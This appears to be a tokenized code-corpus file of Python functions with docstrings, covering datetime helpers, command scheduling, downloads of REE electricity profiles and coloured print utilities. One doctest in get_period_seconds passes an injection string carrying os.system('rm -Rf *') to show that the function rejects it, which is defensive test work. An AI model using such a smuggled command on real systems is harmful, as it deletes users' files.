{"signature": "def strftime(fmt, t):", "body": "if isinstance(t, (time.struct_time, tuple)):<EOL><INDENT>t = datetime.datetime(*t[:<NUM_LIT:6>])<EOL><DEDENT>assert isinstance(t, (datetime.datetime, datetime.time, datetime.date))<EOL>try:<EOL><INDENT>year = t.year<EOL>if year < <NUM_LIT>:<EOL><INDENT>t = t.replace(year=<NUM_LIT>)<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>year = <NUM_LIT><EOL><DEDENT>subs = (<EOL>('<STR_LIT>', '<STR_LIT>' % year),<EOL>('<STR_LIT>', '<STR_LIT>' % (year % <NUM_LIT:100>)),<EOL>('<STR_LIT:%s>', '<STR_LIT>' % (t.microsecond // <NUM_LIT:1000>)),<EOL>('<STR_LIT>', '<STR_LIT>' % (t.microsecond % <NUM_LIT:1000>))<EOL>)<EOL>def doSub(s, sub):<EOL><INDENT>return s.replace(*sub)<EOL><DEDENT>def doSubs(s):<EOL><INDENT>return functools.reduce(doSub, subs, s)<EOL><DEDENT>fmt = '<STR_LIT>'.join(map(doSubs, fmt.split('<STR_LIT>')))<EOL>return t.strftime(fmt)<EOL>", "docstring": "A class to replace the strftime in datetime package or time module.\n    Identical to strftime behavior in those modules except supports any\n    year.\n    Also supports datetime.datetime times.\n    Also supports milliseconds using %s\n    Also supports microseconds using %u", "id": "f14200:m0"}
{"signature": "def strptime(s, fmt, tzinfo=None):", "body": "res = time.strptime(s, fmt)<EOL>return datetime.datetime(tzinfo=tzinfo, *res[:<NUM_LIT:6>])<EOL>", "docstring": "A function to replace strptime in the time module.  Should behave\nidentically to the strptime function except it returns a datetime.datetime\nobject instead of a time.struct_time object.\nAlso takes an optional tzinfo parameter which is a time zone info object.", "id": "f14200:m1"}
{"signature": "def datetime_mod(dt, period, start=None):", "body": "if start is None:<EOL><INDENT>start = datetime.datetime.combine(dt.date(), datetime.time())<EOL><DEDENT>delta = dt - start<EOL>def get_time_delta_microseconds(td):<EOL><INDENT>return (td.days * seconds_per_day + td.seconds) * <NUM_LIT> + td.microseconds<EOL><DEDENT>delta, period = map(get_time_delta_microseconds, (delta, period))<EOL>offset = datetime.timedelta(microseconds=delta % period)<EOL>result = dt - offset<EOL>return result<EOL>", "docstring": "Find the time which is the specified date/time truncated to the time delta\nrelative to the start date/time.\nBy default, the start time is midnight of the same day as the specified\ndate/time.\n\n>>> datetime_mod(datetime.datetime(2004, 1, 2, 3),\n...     datetime.timedelta(days = 1.5),\n...     start = datetime.datetime(2004, 1, 1))\ndatetime.datetime(2004, 1, 1, 0, 0)\n>>> datetime_mod(datetime.datetime(2004, 1, 2, 13),\n...     datetime.timedelta(days = 1.5),\n...     start = datetime.datetime(2004, 1, 1))\ndatetime.datetime(2004, 1, 2, 12, 0)\n>>> datetime_mod(datetime.datetime(2004, 1, 2, 13),\n...     datetime.timedelta(days = 7),\n...     start = datetime.datetime(2004, 1, 1))\ndatetime.datetime(2004, 1, 1, 0, 0)\n>>> datetime_mod(datetime.datetime(2004, 1, 10, 13),\n...     datetime.timedelta(days = 7),\n...     start = datetime.datetime(2004, 1, 1))\ndatetime.datetime(2004, 1, 8, 0, 0)", "id": "f14200:m2"}
{"signature": "def datetime_round(dt, period, start=None):", "body": "result = datetime_mod(dt, period, start)<EOL>if abs(dt - result) >= period // <NUM_LIT:2>:<EOL><INDENT>result += period<EOL><DEDENT>return result<EOL>", "docstring": "Find the nearest even period for the specified date/time.\n\n>>> datetime_round(datetime.datetime(2004, 11, 13, 8, 11, 13),\n...     datetime.timedelta(hours = 1))\ndatetime.datetime(2004, 11, 13, 8, 0)\n>>> datetime_round(datetime.datetime(2004, 11, 13, 8, 31, 13),\n...     datetime.timedelta(hours = 1))\ndatetime.datetime(2004, 11, 13, 9, 0)\n>>> datetime_round(datetime.datetime(2004, 11, 13, 8, 30),\n...     datetime.timedelta(hours = 1))\ndatetime.datetime(2004, 11, 13, 9, 0)", "id": "f14200:m3"}
{"signature": "def get_nearest_year_for_day(day):", "body": "now = time.gmtime()<EOL>result = now.tm_year<EOL>if day - now.tm_yday > <NUM_LIT> // <NUM_LIT:2>:<EOL><INDENT>result -= <NUM_LIT:1><EOL><DEDENT>if now.tm_yday - day > <NUM_LIT> // <NUM_LIT:2>:<EOL><INDENT>result += <NUM_LIT:1><EOL><DEDENT>return result<EOL>", "docstring": "Returns the nearest year to now inferred from a Julian date.", "id": "f14200:m4"}
{"signature": "def gregorian_date(year, julian_day):", "body": "result = datetime.date(year, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>result += datetime.timedelta(days=julian_day - <NUM_LIT:1>)<EOL>return result<EOL>", "docstring": "Gregorian Date is defined as a year and a julian day (1-based\nindex into the days of the year).\n\n>>> gregorian_date(2007, 15)\ndatetime.date(2007, 1, 15)", "id": "f14200:m5"}
{"signature": "def get_period_seconds(period):", "body": "if isinstance(period, six.string_types):<EOL><INDENT>try:<EOL><INDENT>name = '<STR_LIT>' + period.lower()<EOL>result = globals()[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT><DEDENT>elif isinstance(period, numbers.Number):<EOL><INDENT>result = period<EOL><DEDENT>elif isinstance(period, datetime.timedelta):<EOL><INDENT>result = period.days * get_period_seconds('<STR_LIT>') + period.seconds<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return result<EOL>", "docstring": "return the number of seconds in the specified period\n\n>>> get_period_seconds('day')\n86400\n>>> get_period_seconds(86400)\n86400\n>>> get_period_seconds(datetime.timedelta(hours=24))\n86400\n>>> get_period_seconds('day + os.system(\"rm -Rf *\")')\nTraceback (most recent call last):\n...\nValueError: period not in (second, minute, hour, day, month, year)", "id": "f14200:m6"}
{"signature": "def get_date_format_string(period):", "body": "<EOL>if isinstance(period, six.string_types) and period.lower() == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>file_period_secs = get_period_seconds(period)<EOL>format_pieces = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>seconds_per_second = <NUM_LIT:1><EOL>intervals = (<EOL>seconds_per_year,<EOL>seconds_per_day,<EOL>seconds_per_hour,<EOL>seconds_per_minute,<EOL>seconds_per_second,<EOL>)<EOL>mods = list(map(lambda interval: file_period_secs % interval, intervals))<EOL>format_pieces = format_pieces[: mods.index(<NUM_LIT:0>) + <NUM_LIT:1>]<EOL>return '<STR_LIT>'.join(format_pieces)<EOL>", "docstring": "For a given period (e.g. 'month', 'day', or some numeric interval\nsuch as 3600 (in secs)), return the format string that can be\nused with strftime to format that time to specify the times\nacross that interval, but no more detailed.\nFor example,\n\n>>> get_date_format_string('month')\n'%Y-%m'\n>>> get_date_format_string(3600)\n'%Y-%m-%d %H'\n>>> get_date_format_string('hour')\n'%Y-%m-%d %H'\n>>> get_date_format_string(None)\nTraceback (most recent call last):\n        ...\nTypeError: period must be a string or integer\n>>> get_date_format_string('garbage')\nTraceback (most recent call last):\n        ...\nValueError: period not in (second, minute, hour, day, month, year)", "id": "f14200:m7"}
{"signature": "def divide_timedelta_float(td, divisor):", "body": "<EOL>dsm = [getattr(td, attr) for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')]<EOL>dsm = map(lambda elem: elem / divisor, dsm)<EOL>return datetime.timedelta(*dsm)<EOL>", "docstring": "Divide a timedelta by a float value\n\n>>> one_day = datetime.timedelta(days=1)\n>>> half_day = datetime.timedelta(days=.5)\n>>> divide_timedelta_float(one_day, 2.0) == half_day\nTrue\n>>> divide_timedelta_float(one_day, 2) == half_day\nTrue", "id": "f14200:m8"}
{"signature": "def calculate_prorated_values():", "body": "rate = six.moves.input(\"<STR_LIT>\")<EOL>res = re.match(r'<STR_LIT>', rate).groupdict()<EOL>value = float(res['<STR_LIT:value>'])<EOL>value_per_second = value / get_period_seconds(res['<STR_LIT>'])<EOL>for period in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>period_value = value_per_second * get_period_seconds(period)<EOL>print(\"<STR_LIT>\".format(**locals()))<EOL><DEDENT>", "docstring": "A utility function to prompt for a rate (a string in units per\nunit time), and return that same rate for various time periods.", "id": "f14200:m9"}
{"signature": "def parse_timedelta(str):", "body": "deltas = (_parse_timedelta_part(part.strip()) for part in str.split('<STR_LIT:U+002C>'))<EOL>return sum(deltas, datetime.timedelta())<EOL>", "docstring": "Take a string representing a span of time and parse it to a time delta.\nAccepts any string of comma-separated numbers each with a unit indicator.\n\n>>> parse_timedelta('1 day')\ndatetime.timedelta(days=1)\n\n>>> parse_timedelta('1 day, 30 seconds')\ndatetime.timedelta(days=1, seconds=30)\n\n>>> parse_timedelta('47.32 days, 20 minutes, 15.4 milliseconds')\ndatetime.timedelta(days=47, seconds=28848, microseconds=15400)\n\nSupports weeks, months, years\n\n>>> parse_timedelta('1 week')\ndatetime.timedelta(days=7)\n\n>>> parse_timedelta('1 year, 1 month')\ndatetime.timedelta(days=395, seconds=58685)\n\nNote that months and years strict intervals, not aligned\nto a calendar:\n\n>>> now = datetime.datetime.now()\n>>> later = now + parse_timedelta('1 year')\n>>> diff = later.replace(year=now.year) - now\n>>> diff.seconds\n20940", "id": "f14200:m10"}
{"signature": "def divide_timedelta(td1, td2):", "body": "try:<EOL><INDENT>return td1 / td2<EOL><DEDENT>except TypeError:<EOL><INDENT>return td1.total_seconds() / td2.total_seconds()<EOL><DEDENT>", "docstring": "Get the ratio of two timedeltas\n\n>>> one_day = datetime.timedelta(days=1)\n>>> one_hour = datetime.timedelta(hours=1)\n>>> divide_timedelta(one_hour, one_day) == 1 / 24\nTrue", "id": "f14200:m12"}
{"signature": "def date_range(start=None, stop=None, step=None):", "body": "if step is None:<EOL><INDENT>step = datetime.timedelta(days=<NUM_LIT:1>)<EOL><DEDENT>if start is None:<EOL><INDENT>start = datetime.datetime.now()<EOL><DEDENT>while start < stop:<EOL><INDENT>yield start<EOL>start += step<EOL><DEDENT>", "docstring": "Much like the built-in function range, but works with dates\n\n>>> range_items = date_range(\n...     datetime.datetime(2005,12,21),\n...     datetime.datetime(2005,12,25),\n... )\n>>> my_range = tuple(range_items)\n>>> datetime.datetime(2005,12,21) in my_range\nTrue\n>>> datetime.datetime(2005,12,22) in my_range\nTrue\n>>> datetime.datetime(2005,12,25) in my_range\nFalse", "id": "f14200:m13"}
{"signature": "@classmethod<EOL><INDENT>def construct_datetime(cls, *args, **kwargs):<DEDENT>", "body": "if len(args) == <NUM_LIT:1>:<EOL><INDENT>arg = args[<NUM_LIT:0>]<EOL>method = cls.__get_dt_constructor(<EOL>type(arg).__module__,<EOL>type(arg).__name__,<EOL>)<EOL>result = method(arg)<EOL>try:<EOL><INDENT>result = result.replace(tzinfo=kwargs.pop('<STR_LIT>'))<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>if kwargs:<EOL><INDENT>first_key = kwargs.keys()[<NUM_LIT:0>]<EOL>tmpl = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>raise TypeError(tmpl.format(**locals()))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result = datetime.datetime(*args, **kwargs)<EOL><DEDENT>return result<EOL>", "docstring": "Construct a datetime.datetime from a number of different time\n        types found in python and pythonwin", "id": "f14200:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def __dt_from___builtin___time__(pyt):<DEDENT>", "body": "fmtString = '<STR_LIT>'<EOL>result = strptime(pyt.Format(fmtString), fmtString)<EOL>microseconds_per_day = seconds_per_day * <NUM_LIT><EOL>microseconds = float(pyt) * microseconds_per_day<EOL>microsecond = int(microseconds % <NUM_LIT>)<EOL>result = result.replace(microsecond=microsecond)<EOL>return result<EOL>", "docstring": "Construct a datetime.datetime from a pythonwin time", "id": "f14200:c1:m3"}
{"signature": "def now():", "body": "return datetime.datetime.utcnow().replace(tzinfo=pytz.utc)<EOL>", "docstring": "Provide the current timezone-aware datetime.\n\nA client may override this function to change the default behavior,\nsuch as to use local time or timezone-na\u00efve times.", "id": "f14201:m0"}
{"signature": "def from_timestamp(ts):", "body": "return datetime.datetime.utcfromtimestamp(ts).replace(tzinfo=pytz.utc)<EOL>", "docstring": "Convert a numeric timestamp to a timezone-aware datetime.\n\nA client may override this function to change the default behavior,\nsuch as to use local time or timezone-na\u00efve times.", "id": "f14201:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _from_timestamp(input):<DEDENT>", "body": "if not isinstance(input, numbers.Real):<EOL><INDENT>return input<EOL><DEDENT>return from_timestamp(input)<EOL>", "docstring": "If input is a real number, interpret it as a Unix timestamp\n(seconds sinc Epoch in UTC) and return a timezone-aware\ndatetime object. Otherwise return input unchanged.", "id": "f14201:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def at_time(cls, at, target):<DEDENT>", "body": "at = cls._from_timestamp(at)<EOL>cmd = cls.from_datetime(at)<EOL>cmd.delay = at - now()<EOL>cmd.target = target<EOL>return cmd<EOL>", "docstring": "Construct a DelayedCommand to come due at `at`, where `at` may be\na datetime or timestamp.", "id": "f14201:c0:m3"}
{"signature": "def _next_time(self):", "body": "return self._localize(self + self.delay)<EOL>", "docstring": "Add delay to self, localized", "id": "f14201:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _localize(dt):<DEDENT>", "body": "try:<EOL><INDENT>tz = dt.tzinfo<EOL>return tz.localize(dt.replace(tzinfo=None))<EOL><DEDENT>except AttributeError:<EOL><INDENT>return dt<EOL><DEDENT>", "docstring": "Rely on pytz.localize to ensure new result honors DST.", "id": "f14201:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def daily_at(cls, at, target):<DEDENT>", "body": "daily = datetime.timedelta(days=<NUM_LIT:1>)<EOL>when = datetime.datetime.combine(datetime.date.today(), at)<EOL>if when < now():<EOL><INDENT>when += daily<EOL><DEDENT>return cls.at_time(cls._localize(when), daily, target)<EOL>", "docstring": "Schedule a command to run at a specific time each day.", "id": "f14201:c2:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def run(self, command):<DEDENT>", "body": "", "docstring": "Run the command", "id": "f14201:c3:m3"}
{"signature": "def remove_parse_timedelta(items):", "body": "if sys.version_info > (<NUM_LIT:3>, <NUM_LIT:7>):<EOL><INDENT>return<EOL><DEDENT>names = list(map(operator.attrgetter('<STR_LIT:name>'), items))<EOL>del items[names.index('<STR_LIT>')]<EOL>", "docstring": "Repr on older Pythons is different, so remove the offending\ntest.", "id": "f14202:m1"}
{"signature": "@staticmethod<EOL><INDENT>def exec_func_with_sys_argv(func_exec, custom_argv, *args_func_exec, **kwargs_func_exec):<DEDENT>", "body": "<EOL>with patch.object(sys, '<STR_LIT>', custom_argv):<EOL><INDENT>print('<STR_LIT>'.format(sys.argv))<EOL>func_exec(*args_func_exec, **kwargs_func_exec)<EOL><DEDENT>", "docstring": "Exec a CLI function patching sys.argv.\nFor test CLI main functions with argparse\n\n:param func_exec:\n:param custom_argv:\n:param kwargs_func_exec:", "id": "f14211:c0:m0"}
{"signature": "def get_data_coeficientes_perfilado_2017(force_download=False):", "body": "path_perfs = os.path.join(STORAGE_DIR, '<STR_LIT>')<EOL>if force_download or not os.path.exists(path_perfs):<EOL><INDENT>cols_sheet1 = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>perfs_2017 = pd.read_excel(URL_PERFILES_2017, header=None, skiprows=[<NUM_LIT:0>, <NUM_LIT:1>], names=cols_sheet1)<EOL>perfs_2017['<STR_LIT>'] = pd.DatetimeIndex(start='<STR_LIT>', freq='<STR_LIT:H>', tz=TZ, end='<STR_LIT>')<EOL>perfs_2017 = perfs_2017.set_index('<STR_LIT>').drop(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], axis=<NUM_LIT:1>)<EOL>coefs_alpha_beta_gamma = pd.read_excel(URL_PERFILES_2017, sheetname=<NUM_LIT:1>)<EOL>print('<STR_LIT>'.format(path_perfs))<EOL>with pd.HDFStore(path_perfs, '<STR_LIT:w>') as st:<EOL><INDENT>st.put('<STR_LIT>', coefs_alpha_beta_gamma)<EOL>st.put('<STR_LIT>', perfs_2017)<EOL><DEDENT>print('<STR_LIT>'.format(os.path.getsize(path_perfs) / <NUM_LIT:1000>))<EOL><DEDENT>else:<EOL><INDENT>with pd.HDFStore(path_perfs, '<STR_LIT:r>') as st:<EOL><INDENT>coefs_alpha_beta_gamma = st['<STR_LIT>']<EOL>perfs_2017 = st['<STR_LIT>']<EOL><DEDENT><DEDENT>return perfs_2017, coefs_alpha_beta_gamma<EOL>", "docstring": "Extrae la informaci\u00f3n de las dos hojas del Excel proporcionado por REE\n    con los perfiles iniciales para 2017.\n    :param force_download: Descarga el fichero 'raw' del servidor, en vez de acudir a la copia local.\n    :return: perfiles_2017, coefs_alpha_beta_gamma\n    :rtype: tuple", "id": "f14216:m0"}
{"signature": "def get_data_perfiles_estimados_2017(force_download=False):", "body": "global DATA_PERFILES_2017<EOL>if (DATA_PERFILES_2017 is None) or force_download:<EOL><INDENT>perf_demref_2017, _ = get_data_coeficientes_perfilado_2017(force_download=force_download)<EOL>cols_usar = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>perfs_2017 = perf_demref_2017[cols_usar].copy()<EOL>perfs_2017.columns = ['<STR_LIT>'.format(p) for p in '<STR_LIT>']<EOL>DATA_PERFILES_2017 = perfs_2017<EOL>return perfs_2017<EOL><DEDENT>return DATA_PERFILES_2017<EOL>", "docstring": "Extrae perfiles estimados para 2017 con el formato de los CSV's mensuales con los perfiles definitivos.\n    :param force_download: bool para forzar la descarga del excel de la web de REE.\n    :return: perfiles_2017\n    :rtype: pd.Dataframe", "id": "f14216:m1"}
{"signature": "def get_data_perfiles_finales_mes(a\u00f1o, mes=None):", "body": "mask_ts = '<STR_LIT>'<EOL>if (type(a\u00f1o) is int) and (mes is not None):<EOL><INDENT>ts = dt.datetime(a\u00f1o, mes, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>ts = a\u00f1o<EOL><DEDENT>url_perfiles_finales = mask_ts.format(ts)<EOL>cols_drop = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>try:<EOL><INDENT>perfiles_finales = pd.read_csv(url_perfiles_finales, sep='<STR_LIT:;>', encoding='<STR_LIT>', compression='<STR_LIT>'<EOL>).dropna(how='<STR_LIT:all>', axis=<NUM_LIT:1>)<EOL>perfiles_finales['<STR_LIT>'] = pd.DatetimeIndex(start='<STR_LIT>'.format(ts), freq='<STR_LIT:H>', tz=TZ,<EOL>end='<STR_LIT>'.format((ts + dt.timedelta(days=<NUM_LIT>)<EOL>).replace(day=<NUM_LIT:1>)<EOL>- dt.timedelta(days=<NUM_LIT:1>)))<EOL>return perfiles_finales.set_index('<STR_LIT>').drop(cols_drop, axis=<NUM_LIT:1>)<EOL><DEDENT>except HTTPError as e:<EOL><INDENT>print('<STR_LIT>'.format(e))<EOL>perfiles_2017 = get_data_perfiles_estimados_2017()<EOL>return perfiles_2017[(perfiles_2017.index.year == ts.year) & (perfiles_2017.index.month == ts.month)]<EOL><DEDENT>", "docstring": "Lee el fichero CSV comprimido con los perfiles finales de consumo el\u00e9ctrico para\n    el mes dado desde la web de REE. Desecha columnas de fecha e informaci\u00f3n de DST.\n    :param a\u00f1o: :int: a\u00f1o \u00f3 :datetime_obj: ts\n    :param mes: :int: mes (OPC)\n    :return: perfiles_mes\n    :rtype: pd.Dataframe", "id": "f14216:m2"}
{"signature": "def perfiles_consumo_en_intervalo(t0, tf):", "body": "t_ini = pd.Timestamp(t0)<EOL>t_fin = pd.Timestamp(tf)<EOL>assert (t_fin > t_ini)<EOL>marca_fin = '<STR_LIT>'.format(t_fin)<EOL>marca_ini = '<STR_LIT>'.format(t_ini)<EOL>if marca_ini == marca_fin:<EOL><INDENT>perfiles = get_data_perfiles_finales_mes(t_ini)<EOL><DEDENT>else:<EOL><INDENT>dates = pd.DatetimeIndex(start=t_ini.replace(day=<NUM_LIT:1>),<EOL>end=t_fin.replace(day=<NUM_LIT:1>), freq='<STR_LIT>')<EOL>perfiles = pd.concat([get_data_perfiles_finales_mes(t) for t in dates])<EOL><DEDENT>return perfiles.loc[t_ini:t_fin].iloc[:-<NUM_LIT:1>]<EOL>", "docstring": "Descarga de perfiles horarios para un intervalo dado\n    Con objeto de calcular el precio medio ponderado de aplicaci\u00f3n para dicho intervalo.\n    :return: perfiles_intervalo\n    :rtype: pd.Dataframe", "id": "f14216:m3"}
{"signature": "def print_info(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in blue", "id": "f14217:m0"}
{"signature": "def print_infob(x):", "body": "cprint(x, '<STR_LIT>', attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in bold + blue", "id": "f14217:m1"}
{"signature": "def print_ok(x):", "body": "cprint(x, '<STR_LIT>', attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in bold + green", "id": "f14217:m2"}
{"signature": "def print_secc(x):", "body": "cprint('<STR_LIT>' + x, '<STR_LIT>', attrs=['<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Prints in bold + blue + underline & starts with ' ==>", "id": "f14217:m3"}
{"signature": "def print_err(x):", "body": "cprint('<STR_LIT>' + str(x), on_color='<STR_LIT>', attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in bold + red background & starts with 'ERROR:", "id": "f14217:m4"}
{"signature": "def print_warn(x):", "body": "cprint('<STR_LIT>' + str(x), '<STR_LIT>')<EOL>", "docstring": "Prints in magenta & starts with 'WARNING:", "id": "f14217:m5"}
{"signature": "def print_bold(x):", "body": "cprint(x, attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in bold", "id": "f14217:m6"}
{"signature": "def print_boldu(x):", "body": "cprint(x, '<STR_LIT>', attrs=['<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Prints in bold + underline", "id": "f14217:m7"}
{"signature": "def print_yellowb(x):", "body": "cprint(x, '<STR_LIT>', attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in yellow + underline", "id": "f14217:m8"}
{"signature": "def print_grey(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in grey", "id": "f14217:m9"}
{"signature": "def print_greyb(x):", "body": "cprint(x, '<STR_LIT>', attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in bold + grey", "id": "f14217:m10"}
{"signature": "def print_red(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in red", "id": "f14217:m11"}
{"signature": "def print_redb(x):", "body": "cprint(x, '<STR_LIT>', attrs=['<STR_LIT>'])<EOL>", "docstring": "Prints in bold + red", "id": "f14217:m12"}
{"signature": "def print_green(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in green", "id": "f14217:m13"}
{"signature": "def print_yellow(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in yellow", "id": "f14217:m14"}
{"signature": "def print_blue(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in blue", "id": "f14217:m15"}
{"signature": "def print_magenta(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in magenta", "id": "f14217:m16"}
{"signature": "def print_cyan(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in cyan", "id": "f14217:m17"}
{"signature": "def print_white(x):", "body": "cprint(x, '<STR_LIT>')<EOL>", "docstring": "Prints in white", "id": "f14217:m18"}
{"signature": "def ppdict(dict_to_print, br='<STR_LIT:\\n>', html=False, key_align='<STR_LIT:l>', sort_keys=True,<EOL>key_preffix='<STR_LIT>', key_suffix='<STR_LIT>', value_prefix='<STR_LIT>', value_suffix='<STR_LIT>', left_margin=<NUM_LIT:3>, indent=<NUM_LIT:2>):", "body": "if dict_to_print:<EOL><INDENT>if sort_keys:<EOL><INDENT>dic = dict_to_print.copy()<EOL>keys = list(dic.keys())<EOL>keys.sort()<EOL>dict_to_print = OrderedDict()<EOL>for k in keys:<EOL><INDENT>dict_to_print[k] = dic[k]<EOL><DEDENT><DEDENT>tmp = ['<STR_LIT:{>']<EOL>ks = [type(x) == str and \"<STR_LIT>\" % x or x for x in dict_to_print.keys()]<EOL>vs = [type(x) == str and \"<STR_LIT>\" % x or x for x in dict_to_print.values()]<EOL>max_key_len = max([len(str(x)) for x in ks])<EOL>for i in range(len(ks)):<EOL><INDENT>k = {<NUM_LIT:1>: str(ks[i]).ljust(max_key_len),<EOL>key_align == '<STR_LIT:r>': str(ks[i]).rjust(max_key_len)}[<NUM_LIT:1>]<EOL>v = vs[i]<EOL>tmp.append('<STR_LIT:U+0020>' * indent + '<STR_LIT>'.format(key_preffix, k, key_suffix,<EOL>value_prefix, v, value_suffix))<EOL><DEDENT>tmp[-<NUM_LIT:1>] = tmp[-<NUM_LIT:1>][:-<NUM_LIT:1>]  <EOL>tmp.append('<STR_LIT:}>')<EOL>if left_margin:<EOL><INDENT>tmp = ['<STR_LIT:U+0020>' * left_margin + x for x in tmp]<EOL><DEDENT>if html:<EOL><INDENT>return '<STR_LIT>'.format(br.join(tmp).replace('<STR_LIT:U+0020>', '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>return br.join(tmp)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return '<STR_LIT:{}>'<EOL><DEDENT>", "docstring": "Indent representation of a dict", "id": "f14217:m19"}
{"signature": "def __repr__(self):", "body": "def _linetotal(str_line, total_value):<EOL><INDENT>return '<STR_LIT>'.format(str_line, total_value)<EOL><DEDENT>if self._str_repr is None:<EOL><INDENT>detalle_tfijo = '<STR_LIT>'.join([MASK_T_FIJO.format(pot=self._potencia_contratada, dias=ndias, y=a\u00f1o,<EOL>dias_y=ndias_a\u00f1o, coste=coste, coef_t_fijo=coef_p)<EOL>for (ndias, ndias_a\u00f1o, a\u00f1o), (coste, coef_p)<EOL>in zip(self._periodos_fact, self._termino_fijo) if ndias > <NUM_LIT:0>])<EOL>if self.consumo_total > <NUM_LIT:0.>:<EOL><INDENT>det_tvar = []<EOL>tramo_mult = True<EOL>for i, (tea, tcu, cons) in enumerate(zip(self._coste_peaje_acceso_tea,<EOL>self._coste_ponderado_energia_tcu,<EOL>self._consumos_totales_por_periodo)):<EOL><INDENT>if len(self._periodos_fact) > <NUM_LIT:1>:<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>ts_ini, ts_fin = self._t0, self._t0.replace(day=<NUM_LIT>, month=<NUM_LIT:12>)<EOL><DEDENT>else:<EOL><INDENT>ts_ini, ts_fin = self._tf.replace(day=<NUM_LIT:1>, month=<NUM_LIT:1>), self._tf<EOL><DEDENT>if tramo_mult and (ts_fin.date() > ts_ini.date()):<EOL><INDENT>det_tvar.append(MASK_T_VAR_PERIOD_TRAMO.format(tramo=i + <NUM_LIT:1>, ts_ini=ts_ini, ts_fin=ts_fin))<EOL><DEDENT>else:<EOL><INDENT>tramo_mult = False<EOL><DEDENT>det_tvar += [MASK_T_VAR_PERIOD.format(ind_periodo=j + <NUM_LIT:1>, consumo_periodo=cons_p, coste_tcu=tcu_p,<EOL>valor_medio_periodo=(tcu_p + tea_p) / cons_p,<EOL>coste_periodo=tcu_p + tea_p, valor_med_tcu=tcu_p / cons_p,<EOL>valor_med_tea=tea_p / cons_p, coste_tea=tea_p)<EOL>for j, (tea_p, tcu_p, cons_p) in enumerate(zip(tea, tcu, cons)) if cons_p > <NUM_LIT:0.>]<EOL><DEDENT>elif abs(cons) > <NUM_LIT:0>:<EOL><INDENT>det_tvar.append(MASK_T_VAR_PERIOD.format(ind_periodo=i + <NUM_LIT:1>, consumo_periodo=cons,<EOL>valor_medio_periodo=(tcu + tea) / cons,<EOL>coste_periodo=tcu + tea, valor_med_tcu=tcu / cons,<EOL>coste_tcu=tcu, valor_med_tea=tea / cons, coste_tea=tea))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>det_tvar = ['<STR_LIT>']<EOL><DEDENT>detalle_impelec = _linetotal(MASK_T_IMP_ELEC.format(self._impuesto_electrico_general * <NUM_LIT>,<EOL>self.coste_termino_fijo, self.coste_termino_consumo),<EOL>self.impuesto_electrico_general)<EOL>_, impuesto_gen, impuesto_medida = DATOS_ZONAS_IMPUESTOS[self._zona_impuestos]<EOL>subt_fijo_var = self._termino_fijo_total + self._termino_variable_total<EOL>subt_fijo_var += self._termino_impuesto_electrico + self._descuento_bono_social<EOL>if impuesto_gen != impuesto_medida:<EOL><INDENT>detalle_iva = MASK_T_IVA_M.format(impuesto_gen * <NUM_LIT:100>, subt_fijo_var,<EOL>impuesto_medida * <NUM_LIT:100>, self._termino_equipo_medida)<EOL><DEDENT>else:<EOL><INDENT>detalle_iva = MASK_T_IVA_U.format(impuesto_gen * <NUM_LIT:100>, subt_fijo_var + self._termino_equipo_medida)<EOL><DEDENT>detalle_descuento = '<STR_LIT>'<EOL>if self._con_bono_social:<EOL><INDENT>detalle_descuento = '<STR_LIT:\\n>' + _linetotal('<STR_LIT>', self.descuento_bono_social) + '<STR_LIT:\\n>'<EOL><DEDENT>params = dict(ts_ini=self._t0, ts_fin=self._tf, 